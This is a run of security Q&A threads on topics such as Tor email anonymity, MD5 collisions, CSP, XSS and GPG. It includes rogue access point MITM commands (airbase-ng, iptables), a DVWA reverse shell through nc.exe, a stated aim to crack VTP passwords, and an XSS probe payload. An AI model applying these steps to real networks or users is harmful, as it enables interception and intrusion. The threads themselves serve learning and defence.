Do real-name email adresses hurt the anonymity provided by torbirdy? Scenario:
Someone uses thunderbird to manage her various email addresses. All of those contain her real name (work, university, ...). One day, she has need of an anonymous email account and so creates one, which she only connects to via Tor Browser. This is a little inconvenient, however, so she decides to make use of the torbirdy add-on so that the traffic is routed through Tor.

Question:
If Thunderbird now channels all emails through Tor, don't the real-name addresses revoke the anonymity that torbirdy aims to provide?

Note:
1. A somewhat similar question has been asked here. The accepted answer makes me think that the answer to my question might me in the affirmative, but it is different enough so that I am in no way sure of it.
2. In the wiki entry for torbirdy on torproject, the possibility of using addresses containing real names with torbirdy is mentioned. However, it only says the following:

  Please bear in mind that email accounts that have been used without Tor before offer less privacy/anonymity/weaker pseudonyms than email accounts that have always been accessed with Tor. But nevertheless, TorBirdy is still useful for existing accounts or real-name email addresses. For example, if you are looking for location anonymity -- you travel a lot and don't want to disclose all your locations by sending emails -- TorBirdy works wonderfully!

This does not answer my question since I want to know if anonymous addresses (previously only connected to via Tor) lose their anonymity when used in the same Thunderbird instance with non-anonymous addresses.

Side question:
This might be related or not, but I seem to recall reading somewhere that you are not supposed to use Tor for things like online banking where you have to identify yourself, because it compromises your anonymity when connecting to other websites after that (without requesting a new circuit). Is this true or false?

First of all:

There are no anonymous email addresses; there may be email accounts at services that do not require a lot of personal data to register and where you can register email addresses for that account which do not contain your name or other information which may provide a hint of who you are. If you use two different email addresses (i.e. john.doe@gmail.com and guesswho@gmail.com) which are linked to the same account on the provider's server then your anonymity will be gone once someone has to power to ask the provider to reveal data.

Some more words of caution:

Many people using Tor for illegal activities got caught because they have been using aliases which contained their first name, year of birth the place they live, like hans84munich@anonym.com. This won't identify someone, but number of people who are called "Hans", are born in 1984 and live in Munich are is small enough to limit further investigations to that target group. You get the idea. Also some people have been re-using avatar pics on the "anonymous" part of the net which they have been using on the other side as well.

Now you would like to know if if

  anonymous addresses (previously only connected to via Tor) loose their
  anonymity when used in the same thunderbird account with non-anonymous
  addresses

To strictly answer to your question, the answer would be: Most likely. But it of course depends on that a Thunderbird Account means to you? Or did you mean to write "Thunderbird instance" as in an instance of the software installed onto a machine?

If I interpret your question in a broader sense, then let's assume you have three email accounts:

john.doe@university.com
jdoe@gmail.com
rumpelstilzchen@catchmeifyoucan.de

where the latter one would we what you consider "anonymous".

As long as you can be sure that the rumpelstilzchen account is using entirely different SMTP and IMAP servers as the other two, I would argue that accessing those distinctly separate servers over one Tor connection will not allow anyone to make a link between the fist two accounts and the 3rd one. I guess this is what you are asking, basically.

Yet there are some pitfalls.

One of them is that a default behaviour in Thunderbird is that there is one SMTP smarthost for multiple email accounts. You can configure this differently, but you have to make sure you do so. Otherwise you may be ending up sending emails for all three accounts over the same SMTP server which would possibly allow to make a link between them.

Many more pitfalls are between backrest and screen, like pasting the wrong signature into an email and the like.

I would rather try to use two different instances of Thunderbird (with distinct skins) or to different MUAs (Mail User Agents aka E-Mail clients) for anonymous and non anonymous mail traffic; just as a precaution.


What is the collision likelihood of MD5 when non-numeric values are removed? Start with a unique identifier

String macAddress = "CC:3A:61:24:D6:96";
Hash the identifier via MD5 implementation

String hash = md5(macAddress); //bd37f780e10244cf28810b969559ad5b
Remove all letters from the hash

String result = hash.replaceAll("[^\\d.]", "");

result == "3778010244288109695595"

I am using MD5 to anonymize MAC Addresses from our users. Our current web service does not accept letters for the value I wish to set, so I simply removed the letters. I am wary this will increase the chances of a collision within our database, so I come here with the question:

How likely is it result will collide with a different macAddress input compared to hash?

Don't put too much faith in such anonymizing. Indeed, MAC addresses fit on 48 bits, out of which two are used for administrative reasons, leaving only 46 bits (at most) unknown to someone eager to recover the MAC addresses (indeed, the attacker can assume that the MAC address from a physical user machine will be "unicast" and "globally unique", so the two least significant bits of the first byte will be 0).

A good GPU will be able to compute more than 233 per second (see benchmarks here; the machine with 8 AMD R9 290X achieves more than 93 billions of MD5 per second); so that single off-the-shelf GPU can crunch through the complete 246 space in a couple of hours.

More importantly, recovering MAC addresses for tracking people makes sense only for an attacker who has known MAC addresses to track. The attacker needs not hash all 246 possible MAC addresses, only the few dozens (or hundreds or thousands or even millions) that he is trying to follow. A basic laptop, with no GPU at all, can do that in a fraction of a second.

That being said, the question you asked still makes sense mathematically. If we assume MD5 outputs to be "mostly random" values in the 2128 space, then each character in the hexadecimal string has probability 10/16 of being a digit, independently of the other digits. All the possible inputs will fall into one of the 33 categories for the 33 possible lengths for the resulting strings (0 to 32 digits). The probability of an MD5 output to fall into the category n, i.e. to contain n digits and 32-n non-digits, is:

Pn = (32!/(n!(32-n)!))·(10/16)n·(6/16)32-n

On average, if you hash k MAC addresses, you will get zn = k·Pn values in category n, and you can expect a collision when that number zn begins to get close to the square root of the space of possible values in that category, i.e. 10n. In other words, when k reaches 10n/2/Pn for some n, you are in trouble.

Let's get some numbers on that; the threshold for the various categories is:

n =  0  ->           42756232765793.7
n =  1  ->            2535132744529.3
n =  2  ->             310327495880.8
n =  3  ->              58880502453.6
n =  4  ->              15409365312.7
n =  5  ->               5220931252.0
n =  6  ->               2201337901.8
n =  7  ->               1124508269.7
n =  8  ->                682753416.9
n =  9  ->                485787572.5
n = 10  ->                400746570.8
n = 11  ->                380181578.5
n = 12  ->                412196472.8
n = 13  ->                508357082.1
n = 14  ->                710713497.4
n = 15  ->               1123736707.7
n = 16  ->               2006720463.1
n = 17  ->               4045452147.9
n = 18  ->               9210846925.9
n = 19  ->              23717908021.4
n = 20  ->              69233179091.0
n = 21  ->             229881262361.1
n = 22  ->             872338056547.2
n = 23  ->            3806833704700.6
n = 24  ->           19261224288561.1
n = 25  ->          114205011141017.5
n = 26  ->          804844014914874.4
n = 27  ->         6871878670370940.0
n = 28  ->        73015449033077408.0
n = 29  ->      1004393786461416580.0
n = 30  ->     19057032197633204000.0
n = 31  ->    560451732845470400000.0
n = 32  ->  34028236692093846000000.0

Bottom-line: when you hash MAC addresses with your "remove letters from hexadecimal" rule, you should see the first collision appear when you have hashed about 380 millions of addresses; it is expected that the first collisions will be for resulting strings of length 10 to 12 characters.

While 380 millions is still a large number, it is considerably below the values normally expected from a hash function with 128 bits of output; if you somehow kept the actual MD5 output, you would be safe until about 264 hashed MAC addresses, i.e. a lot more than is actually possible, since there are only 248 possible MAC addresses (246 in practice, as explained above).

Therefore, if you want to hash the MAC addresses, I warmly suggest that you do not remove the letters. Instead, if you must have digits and only digits, then use an encoding which keeps all the information. MD5 output is 16 bytes; the 32-character hexadecimal representation is just that: a representation. You could use an alternate representation which produces only digits. For instance, you could interpret the MD5 value as a big integer, and encode that in base 10. The corresponding Java code would look like this:

// MD5 output is a byte[], in variable md5out
String result = new BigInteger(1, md5out).ToString();

Since MD5 output is 16 bytes, the resulting integer will fit in at most 39 digits.

But remember what I wrote at the beginning: as an anonymizing system for MAC addresses, a hash function is not a very good tool... it will mostly thwart casual eavesdroppers, but why would such an eavesdropper be interested in MAC addresses anyway ? It is not an information that you can use "across the Internet". Competent attackers who are in position to exploit MAC addresses, on the other hand, will be able to see through such an anonymizing layer.


Is file shredding effective in a virtual machine? I understand that people with a need to make sensitive data unrecoverable use file shredding to achieve it. This means writing over the physical areas of the storage media in more or less sophisticated patterns with the aim of eliminating any physical traces of the information.

Virtual machines add a layer of virtualization to disk access. I'm curious about whether this affects file shredding attempts within the virtual machine.

Virtual machine disks can be backed by physical partitions which I suspect (?) would increase the chance of file shredding working. But the typical thing seems to be to use a file in the host file system to back the virtual machine disk. I'm unclear on how such an image file is used exactly. Is it possible the virtualization system would leave traces of a shredded file in the disk image even if a normally-effective shredding procedure was used?

Is file shredding effective in a virtual machine?

EDIT: My question seems ambiguous after some consideration. It seems there are multiple circumstances at the disk or volume layers unrelated to virtualization that can make normally-effective file shredding procedures ineffective. Examples mentioned below are SSDs, LVM volumes, files on network file systems.

I'd like to update the question slightly to target the virtualization system precisely.

Assuming file shredding would be effective if performed directly on the backing of a virtual disk, would the same procedure performed on the virtual disk from within the VM still be effective?

Can disk virtualization prevent an effective file shredding procedure from having the desired effect?

Not reliably.

Some virtual disk formats can be configured to use thin provisioning (disk space aren't allocated until it is used), and SATA supports TRIM command, which can be used to return blocks to unallocated pool.

Some virtual machines also supports snapshotting, and copy-on-write linked virtual disks shared between multiple multiple virtual machines. Some cloud providers can transparently teleport virtual machines, which requires copying the entire virtual disks to another physical machine, for load balancing or to allow hardware maintenance/failures. Virtual disk images can be copied around by defragment/scrubbing tool running on the host. The virtual machine's disk allocator is also free to rearrange disk blocks to optimize writes.

Unless you control the entire stack and takes steps to prevent these from causing leakage, you can't be sure that shredding would also work on the virtual machine even if you're sure that shredding works on the host machine.

The only way to be sure you're not leaking sensitive data, when using virtual machines, is to encrypt the sensitive data.


Is this JSON encoding vulnerable to CDATA injection? I ran across an odd notation in the jsfiddle.net generated pages

<script type='text/javascript'>//<![CDATA[
$(window).load(function(){
$('form, table').animate({
    opacity: 1
});
});//]]>

</script>

I sometimes feed JSON data directly into a script. I personally do not use CDATA notation, but I am wanting to confirm whether an attacker could inject CDATA notation and cause bad things to happen.

I run the objects through a standard JSON stringifier which follows all the rules, then I replace </script with <\/script, not case sensitive. Is this sufficient?

The //<![CDATA[ hack is used in XHTML pages that have to parse as both HTML and XML.

In the HTML parsing rules, <script> and <style> are special “CDATA elements”, whose contents up to the next </ sequence (HTML4) or </script sequence (HTML5) are raw data, so if (x<y) can be written without any encoding; this would foul up XML parsers.

In the XML parsing rules there are no special elements and so the same statement would have to be written as if (x&lt;y); this would foul up HTML parsers.

In order to allow < to be written unescaped and mean the same thing to both XML and HTML parsers, you can wrap the script in an XML CDATA Section, then protect HTML parsers from that odd construct by hiding it in a JavaScript comment.

If you are using this construct to allow you to include these characters in a string literal without escaping, it's not enough, because you still have to escape away both the sequence </ (for HTML) and ]]> (for XML). One way of escaping those sequences in a JS string literal is to always encode <>& characters to \x3C, \x3E and \x26 respectively... in which case you would no longer need the CDATA Section.

  I run the objects through a standard JSON stringifier which follows all the rules, then I replace </script with <\/script, not case sensitive. Is this sufficient?

Not necessarily.

HTML syntax. <\/script is fine for HTML but not XHTML, as above.
JavaScript syntax. There are—due to an unfortunate oversight in the design of JSON—some Unicode control characters that are valid in JSON but not valid in JavaScript.

Most notably the characters U+2028 and U+2029, Line and Paragraph Separator, which act as newlines. Injecting a newline into the middle of a string literal will most likely cause a syntax error (unterminated string literal).

There are more control characters that are supposed to be invalid in JS string literals, but which don't actually break browsers in practice.

If your JSON encoder habitually encodes all non-ASCII characters this won't be a problem.

Alternative to getting embedded JS-encoding right: avoid inline scripts completely, put your data in the HTML page (where normal HTML-escaping rules apply) and retrieve it from linked scripts using DOM methods.


hard time in bug bounty hunting I have practiced oswap documentation and their vulnerability lab. I also read some books like the web app penetration hackers handbook. But I have no success in bug bounty hunting.

I have read an article about bug bounty hunting which provides the same relevant information which are mentione above. So what should I do to get better in bug bounty hunting? Should I continue to bug bounty or I am missing something? Also, what do bug bounties generally expect when they want a "proof of concept" for a bug?

Security-related bug bounties are usually more of a PR event than an attempt at outsourcing a security audit. The message they want to communicate is "Our software is secure, and we are so sure about that that we bet $$$$$ that nobody can find a vulnerability".

When a company places a bug bounty, you can assume that they have also read the standard literature about penetration testing and already patched those vulnerabilities you can find with the usual methods. When any newbie could find their bugs, the bug bounty offer would become both expensive and bad for PR.

When you enjoy looking for vulnerabilities, want to improve your skills and want to do good while doing so, you might want to consider to support some smaller open source projects which don't have the resources for a security audit. You won't get paid, but you will collect valuable experience.

A "proof of concept" for a vulnerability is a demonstration which shows that the bug happens. This illustrates that the bug is really there and not just a theoretical approach. It can be a series of instruction like "Click here, click there, enter that, cancle then, click there, clap your hands twice and you have administrator access". Or it can be an exploit: A program which causes the application to misbehave when executed. When proving a bug with an exploit, it is usually expected that you don't just deliver the binary but also the sourcecode and an explanation how it works.


Full-disk encryption and theft mitigation? Is it possible to combine the security of full-disk encryption (e.g. Truecrypt) with the honeypot-like performance of anti-theft tools (e.g. Prey)?

In other words, is it feasible to have both strong encrption and a hope of locating one's laptop were it to be lost or stolen, or is this akin to "having one's cake and eating it too?"

It seems to me that the very nature of full-disk encryption necessarily prohibits one from implementing a Prey-like approach to notebook recovery.

Disk encryption is about preventing access to data, unless a specific authentication token (e.g. a password) is presented. Full disk encryption is about doing that on the whole disk, including the OS, so the machine won't even boot without the password. If it does not boot, then, in particular, Prey won't work.

What you can do is to allow the machine to boot on a minimal OS which uses Prey and controls a virtual machine, which is the actual machine you use for all your usages. That VM will use full-disk encryption.

This should be doable with reasonably low overhead with Xen: a minimal low-RAM dom0 system, which runs Prey and has no disk encryption, and the actual domU system which allocates most of the physical RAM, contains your files and applications, and uses full disk encryption. Note: if you want to do that with Windows as domU, you will need a computer with supports the hardware x86 virtualization instructions (AMD-V, Intel VT-x...); this is not necessarily a given on Netbooks.


How to configure Burp Suite for localhost application I am trying to analyze HTTP traffic of our application. Application uses port 8080. So I had configured burp proxy for 6666 and upstream proxy to our organisation proxy.

Made changes to browser's proxy for 127.0.0.1:6666 application URL can be reached to 127.0.0.1:8080

But from browser I get "proxy server is refusing connections" for application landing page.

How to configure burp to work with local apps running on 127.0.0.1?

If none of these solutions work for you, like they didn't work for me, you could try to change value network.proxy.allow_hijacking_localhost to true (using firefox v 67.0.1 64-bit).

Open new tab, type about:config in address bar, then type network.proxy.allow_hijacking_localhost and double click it to change its default value to true.


How does VTP authentication prevent unauthorized access (Can the password be cracked given captured packets) I know that when setting up VTP across switches in a network you should set a secret/password to prevent unauthorized requests. My question is I know that this uses an MD5 hash to ensure that attackers don't falsify any requests, but I haven't been able to find a decent explanation of how this hash is calculated. Is it salted with the domain of the network? Is it a request salted with the password sent to the VTP server? Is it even salted at all? All i have seen when digging through Cisco documentation is stuff along the lines of "Requests are secured using a MD5 hash," but I have yet to see a decent explanation of how this hash is actually calculated.

Edit: I am attempting to crack a VTP password given a captured VTP packet. Hence why I want to know how the md5 hash is salted.

For general understanding, VTP allows central management of VLAN domains, ID and other attributes. It governs how other switches learn and understand VLANs. Any updates related to VTP management are sent by the VTP server.

The risk lies when the MD5 hash is known either by compromising the switch and running commands such as show command, show vtp password or by looking at the vlan.dat file an attacker can force a digest change for the entire domain thus a new VTP server can be set up (a rogue) which will then allow  unauthorized access to previously blocked/disabled VLANs, allowing addition of new unauthorized switches in the network.

As with version 3.0 of VTP the two options: hidden and secret provide mitigation to the recovery process of a message digest. More info can be found here.

UPDATE based upon the excerpt taken from the article. MD5 hash is calculated and is only equal when the domains names are the same along with taking other VTP configurations into consideration. In the above link, the author has provided evidence of this via tests.


What do I risk if I use CSP header style-src-attr 'unsafe-hashes' I'm wondering if I'm risking anything if I use
style-src-attr 'unsafe-hashes' <hash>

in my CSP header.
I need to allow an external script to run, and it uses the style attribute on some elements.
I have no control over the external script, and if there is a malicious person behind it, what might an attack vector be? (considering unsafe-inline has not been added)
How can a style attribute execute scripts or access my DOM or otherwise cause anything harmful to happen?

CSS can dramatically alter the way a page looks and even add content to the page.  It's possible to hide content, such as privacy or security notices; show content, such as phishing information; or alter content, such as by forcing elements to the foreground or background.  You could also use it to insert hidden or nearly hidden content to try to game search engine rankings, or to make the page into a totally different looking page.
If you're using unsafe-hashes, then you've by definition hashed the content and know what's in it.  If it's just doing something innocuous like adjusting the list type marker or setting a relative font size, then it's probably fine.  If the page is doing something more questionable, you have to decide what the tradeoffs are.
You may wish to think about what the consequences would be if the script added that style to many elements, nested elements, or unexpected elements.  If you're pretty sure that the only consequence is making the page look ugly or unreadable, then the risk is low; users will alert to you cases where your page looks hideous.


Securing an OAuth / OpenID Connect identity in a cookie for easy login I have a website that uses Azure Active Directory or Google+ for logging in. I go through an OAuth2 login flow, and the users email along with their tokens are returned to me by their identity service.

The users email address is their identity, and foreign resources (tokens, and other things), are stored using the email address as a foreign key.

Right now I'm saving the users email address in a heavily encrypted string, and when the page loads, I look for a cookie, decrypt it, and find the email address and open that account.

Is this secure? Is there a good pattern for storing the users Identity?

I do not want to force my users to have to login every time they visit the website, but it needs to be secure.

Yes and no.

If done right it will be, but what you are describing is simply an authentication cookie.

I would suggest to not reinvent the wheel. The framework/programming language that you use probably already have a way to manage authentication cookie. I would go with that instead of creating it yourself.


Can Google's employee or Microsoft employee see the files in the cloud? I want to know if someone working at these companies has access to the files people upload to the cloud. In other words, do these companies encrypt the files in the cloud?

Yes, they can read the information that you upload.  There's at least one case which was publicised of this happening. https://techcrunch.com/2010/09/14/google-engineer-spying-fired/

As Woj says, if you're worried about this, you should encrypt the files yourself.


MITM setup using airmon-ng, iptables, and isc-dhcp server I want to set up a MITM-scenario as an exercise for myself. My setup looks like this:

  Internet <--------> Laptop <----------> Client

At this stage I just want to route the traffic from my AP to the internet, without monitoring it.

I use an Alfa-Network-Card in monitor-mode to create an AP with no encryption:

sudo airbase-ng -e demo wlan0mon

My next step was to set the networkinterface at0 up and assign an IP-address:

sudo ip link set at0 up
sudo ip addr add 192.133.1.1/24 dev at0

I allowed ip-forwarding like this

sudo sysctl -w net.ipv4.ip_forward=1

My dhcpd.config file is shown here:

subnet 192.133.1.0 netmask 255.255.255.0 {
default-lease-time 600;
max-lease-time 7200;
option routers 192.133.1.1;
option broadcast-address 192.133.1.255;
option domain-name "demo";
range 192.133.1.10 192.133.1.50;
}

To specify the interface my dhcp-server should listen on I added this line to /etc/default/isc-dhcp-server file:

INTERFACESv4="at0"

To start the dhcp-server ran this:

sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo bash /etc/init.d/isc-dhcp-server start

If I connect now to the AP I get an IP-address and everything looks fine. To route the traffic to my internal laptop wlan interface (wlp5s0) i used iptables:

sudo iptables -A FORWARD --in-interface at0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -out-interface wlp5s0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -j DNAT --to-destination 192.133.1.1
sudo iptables -P FORWARD ACCEPT

After that my nat-table looks like this:

Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 DNAT       udp  --  any    any     anywhere             anywhere             to:192.133.1.1

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 438 packets, 36016 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain POSTROUTING (policy ACCEPT 188 packets, 15827 bytes)
 pkts bytes target     prot opt in     out     source               destination
 1874  147K MASQUERADE  all  --  any    wlp5s0  anywhere             anywhere

My problem is, that I cannot connect to the internet from a client. I think my iptabes-setup is wrong but I have no clue what to do about it. I guess I need a little help here...

With multithr3at3d's help I finally figured out how to do this. Here are two mistakes I made above:

The DNAT rule in the NAT configuration changed the receiver to my laptop. This rule was misleading and should be removed. That's what the configuration should look like:

     sudo iptables -A FORWARD --in-interface at0 -j ACCEPT
     sudo iptables -P FORWARD -j ACCEPT
     sudo iptables -t nat -A POSTROUTING --out-interface enp4s0 -j MASQUERADE

There was no DNS server available for the clients. By adding option domain-name-servers 93.104.209.27 to the dhcpd.conf file clients can access websites:

    subnet 192.133.1.0 netmask 255.255.255.0 {
        default-lease-time 600;
        max-lease-time 7200;
        option routers 192.133.1.1;
        option broadcast-address 192.133.1.255;
        option domain-name-servers 93.104.209.27;
        range 192.133.1.10 192.133.1.50;
    }

The IP address here is a random DNS server in Europe.

Although this is not the most elegant solution it works for me!
Thanks!


Do Spectre(-NG) and Meltdown affect Mill? Given what is publicly known about the Mill CPU, would it be affected by Spectre(-NG) or Meltdown style attacks? Why/why not?

Mill had published a sort of white paper on the extent of their vulnerability to Spectre and Meltdown. Since we don't know much about Spectre-NG yet (probably the first wave would come out on 7th May 2018), I am going to rely on my assumption that the new variants attack the Hypervisor and Intel's secure guard extension.

The attacks on hypervisor (using software level speculative execution) definitely can affect Mill's hardware or probably any hardware in general. Here is the relevant section from the whitepaper:

  There is little that a vendor can do about victim code that deliberately loads from an attacker supplied address without checking the validity of the address first; such code is a bug, plain and simple. Exploitable speculation introduced by the compiler as an optimization is also a bug of
  course, but more insidious because inspection of the victim source will not reveal the problem.

  The Mill is a very wide-issue machine, which allows the compiler to improve performance by carefully interleaving speculative execution using meta-data and predicated (conditional) instructions. For example, it is common for the two legs of an if-statement to be interleaved and both sides executed unconditionally but with one side masked out via meta-data or not used by subsequent conditional instructions.

As for attacks on Intel's secure guard extension:
According to the white paper, Mill architecture seems to be secure against such attacks.


Request certificate expiration date in CSR I want to see how my application will behave in case if the SSL certificate expires.

CSR are signed by CA, so they are not self-signed and the validity period is 2 years. For my test I want to set the expiration period as 1 day. I don't have control over the CA so I can't create a new template for a certificate validity of one day.

Is there a way to set the validity period in a CSR?

One cannot set arbitrary fields in the CSR. The CA will pick the fields it likes (public key, maybe subject) and fill in the rest of the information in the certificate with what they feel is the right choice. This means that unless the CA allows you to specify your own expiration you will not be able to do this. Public CA likely don't allow you to set the expiration, with private CA you can setup it they way you like best.

If you want to find out what happens if a certificate expires just adjust the clock on the system where the certificate validation is done (i.e. usually the system where you run the browser on).


Is it OK that a sysadmin knows the password for a newcomer / act as a user (immediately after his/her recruiting)? Somehow related to this other question. I am dealing with the following case: a medium-large company (with about 200 on-premises employees) is applying the following procedure for all the newly recruited employees (immediately before their first day at the company):

they generate a password for the user (NOT a change-at-first-login
one)
they login on their laptop (impersonating the final user)
they apply some configuration (e.g. they access their Outlook email in order to check that everything works)
they change again the password (this time with a change-at-first-login one)
the laptop is delivered to the user

It appears that this procedure is quite common also in IT companies.

I cannot say if the initial configuration, "in the name of user", is absolutely necessary or just dictated by convenience reasons (a fully working laptop is delivered to a non-IT user, preventing a lot of requests to the IT for fixing common issues), but there a few things that smell:

if I should never tell an admin my password (as it has been answered
to the cited question) there is no reason that an admin knows my
password even at the very beginning of my work in that company
I can accept that an admin knows my password (when he first creates my account or when he resets it) provided that it's a
change-at-first-login password (so that I have evidence that it's not
been used before). I suspect anyway that most legacy systems (like
AD) allow admins to reset passwords with great freedom (for example
resetting passwords without notifying the user, or without forcing
them to set a change-at-first-login one). Is it an accepted practice?
This seems completely different from what happens for example in
Google (no one knows my password, if an activity is detected I am
notified).

Edit: to answer many comments that state that "the computer is not yours, it's the employer's computer, you should not have personal information on the company computer" I would like to point out that it's not a matter of personal information, but reserved information regarding the company business. So, if it's correct that I should not use my company email to receive my blood analysis results from my doctor, it's perfectly common that some reserved information about the company is exchanged between employee A and employee B.

If I should never tell an admin my password (as it has been answered
  to the cited question) there is no reason that an admin knows my
  password even at the very beginning of my work in that company

One of the main reasons to this rule is that Admins should not access your confidential data such as mails, etc... Since there is no data associated with the account at the very beginning this is not an issue.

  they generate a password for the user (NOT a change-at-first-login one)

Using a single sign-on password will ask for a normal password before one can change the configuration. So a password is needed before accessing the config.

  I suspect anyway that most legacy systems  allow admins to reset
  passwords with great freedom. Is it an accepted practice?

This is an accepted practice. Not old systems but newer systems like Office 365 also allows the admins to reset the users password without notifying the user. However any such resets gets logged in the system and the admin will be held responsible for any issues.

Also note that not all configurations can be changed at Admin level. Some things can only be performed by the user. Instead of telling each and every user to perform a set of steps, they are doing it ahead of time.

Some other concerns of sharing a password do not apply here such as

Reusing the password is irrelevant as the password is not yours.
None of your personal information is associated with the password.

To answer some comments,

  I suspect that "there is no data associated with the account at the
  very beginning" it's not absolutely true: I could have some emails in
  my mailbox (someone could have sent my some confidential info to my
  email address, because the mailbox has been activated before I first
  log in)

  by Diego Pascotto

Mail Id should not be shared to anyone by the Admins before configuration. The mailbox must have been activated when setting up outlook. Email Ids are shared only after single sign-in password is set. Also as pointed out by James Snell, receiving an email within minutes of account creation is unlikely.

  A competent company has images, procedures, via automation that take
  care of these things without ever logging in as the new user at any
  time.

  by Sokel

Small companies do not always invest in automating. If a company hires around 10 staff per year and each with a different role the effort required to bring automation and maintain it will be greater than the manual effort. Automation is only worth the effort when you are having job that is done repeatedly in large numbers. In other words, the effort required for automation should be less than what your effort required for manual work

  If the admin has had unmonitored access to your account at any point
  in time; they could've set up anything under your name - preventing
  any returns to them.

  by UKMonkey

Any actions taken by the admins during this time can be linked back to them as it is clear that the account is not handed over to the user until the user resets the password using the single sign-on password.


How to check if URL/ IP belongs to a zeus bot I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?

Providing that you are looking for information already analyzed, and your question is not about the technical ways to identify a Zeus C&C Server, you can look at the following places:

malwaredomainlist.com
malwaredb.malekal.com
exposedbotnets.com
scumware.org
malc0de.com
cybercrime-tracker.net
vxvault.siri-urz.net
nothink.org
botnet-tracker.blogspot.ch
atlas.arbor.net
marworm.com
zeustracker.abuse.ch (Zeus botnet tracker)
alienvault.com

Note that you can also use those places to look for many other threats / malicious activities than Zeus.


Reverse shell hangs web server? So I am currently playing around with DVWA, and by exploiting the local file inclusion vuln I can manage to upload the nc.exe binary on the target server and execute a reverse shell to my machine. However I am noticing that once a shell is obtained, the DVWA website stops responding, so technically this is causing a DoS as well. Once the shell connection is ended, the website becomes responsive again.

Does anyone know why this happens and how can this be mitigated? As this would not be an ideal scenario during a live pen test.

Generally in these types of situations, you want to spawn a child process for the shell, or migrate to another process(only possible in windows).

You can check out one way of doing this in the Metasploit module for process migration in windows: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/migrate.rb

A more general overview of the process: https://security.stackexchange.com/a/92893/113752

Hacking: The Art of Exploitation, though a bit dated, provides a good overview of spawning a child process in UNIX for a reverse shell in chapter 6: https://leaksource.files.wordpress.com/2014/08/hacking-the-art-of-exploitation.pdf

The book is considered to be somewhat of a classic in InfoSec literature, it is a very good read to get a feel for C and assembly if your starting out.


How client certificate works for authentication (in Web API) I have been working on this scenario for a week. I have implemented the code to authenticate client certificate using this link: http://www.asp.net/web-api/overview/security/working-with-ssl-in-web-api.

A few questions are still there:

How can I verify the request certificate is from authorized client only? (I know using private key but how?)
Currently I am using a self-signed SSL and client certificate. From where and how can I get trusted certificate? (I know, from a CA, but what is the actual process for that?)
How can I issue a client certificate to my trusted clients?

I have so many ring answers for the above questions. I need a clean answer for the above questions. I am using ASP.NET 4.5 (webAPI).

Any help will be appreciated.

Mutual TLS (aka Client Authentication) is a solution to this.

As for issuing certs I wouldn't do that.  I would take self-signed certs from the client and pin them directly to principals (users) in some manner.  I would have a lookup table indexed by both common name and certificate public key to do that.  This makes potential problems like cert revocation (delete the row) and CA compromise (none involved) much easier.

Alternatively you could request CSRs from clients and sign them using a CA you trust (either a third party or your own in-house CA if your org has the expertise and resources to protect it properly).

Here is a good high-level description from The Code Project and they have .NET sample code demonstrating it:

  Mutual SSL authentication or certificate based mutual authentication
  refers to two parties authenticating each other through verifying the
  provided digital certificate so that both parties are assured of the
  others' identity. In technology terms, it refers to a client (web
  browser or client application) authenticating themselves to a server
  (website or server application) and that server also authenticating
  itself to the client through verifying the public key
  certificate/digital certificate issued by the trusted Certificate
  Authorities (CAs). Because authentication relies on digital
  certificates, certification authorities such as Verisign or Microsoft
  Certificate Server are an important part of the mutual authentication
  process. From a high-level point of view, the process of
  authenticating and establishing an encrypted channel using
  certificate-based mutual authentication involves the following steps:

  A client requests access to a protected resource.
  The server presents its certificate to the client.
  The client verifies the server’s certificate.
  If successful, the client sends its certificate to the server.
  The server verifies the client’s credentials.
  If successful, the server grants access to the protected resource requested by the client.

SOURCE: http://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication


XSS vulnerability in display message I have a webpage in which Email is given as input. It will then display "your email is abc@xyz.com". I am then changing the email in URL to <script>alert(1)</script> and send tbe request again. The system now displays "your email is <script>alert(1)</script>". Only the display message is like this. Script doesn't seem to get executed.
Is this XSS vulnerability or just email validation issue?

There could be many reasons the script is not being executed:

It is being blocked by a browser filter or a CSP. If this is the case, it would not be displayed on the page, but it would be part of the source code.
The fake email is properly encoded. If this is the case, you would see it as e.g. &gt;script&lt; in the source but <script> in the page.
It is being inserted into the DOM with JavaScript using a safe method like textContent.

In general, if you see the payload on the page it is a sign that the filtering is working as it should. If you see it unencoded in the source, it is a sign that you have found an XSS vulnerability. In any case, you are correct that the site in question needs better email validation.


Should all GPG keys begin with 0x? I've created a GPG key on a newly installed Debian virtual machine. I've noticed that most keys I've seen begin with 0x, however the one I created doesn't. I selected 'RSA (set your own capabilities)' with a 4096 bit key size. Should I create again this key?

most keys I've seen begin with 0x

I assume you are referring to the Key ID, and the 0x is not part of the actual key ID, but merely a display option indicating that the string of digits are hexadecimal (which all Key ID's are, including yours, regardless of whether they are prepended with "0x").

Should I create again this key?

No. The key is fine.
If you want GnuPG to display your keys with the "0x" you can add the option keyid-format 0xlong to your gpg.conf file.
If the gpg.conf file is not already present in your home directory's .gnupg/ directory, you can create it with bash:
echo 'keyid-format 0xlong' > $HOME/.gnupg/gpg.conf


Any frameworks that outline the requirement or recommendation of a Security Operations Center? We can all agree it's best practice to implement a SOC within an organization, but are there any frameworks or compliance requirements that specifically call it out?

I disagree with your premise.

"Monitoring" is required by many frameworks and regulatory requirements, but I'm not sure there is value in specifying the overhead of a SOC to implement monitoring so specifically.

Setting up a SOC is a natural consequence of being compliant with the various frameworks. In order to be consistent, to have staff on hand to respond, and having repeatable and consistent processes for monitoring and response can be done in a variety of different ways. Once the number of things to monitor, the number of events, and the number of incidents reaches a critical point, the natural next step is setting up a SOC.


How to design a right VPN connection for an organisation (Interconnected MPLS link or Individual FW) Thanks in advance for your advice

We have to implement VPN connection for nearly 7 countries

Option 1 :

As we have private MPLS link to all 7 countries. It is been outsourced Third party.

They provide VPN with 2FA with a extra cost. But challenge is it
opens up access to all countries.
Managed by Third party, Every change request depends on them
Thinking that it might be challenge to manage in terms of security and compliance
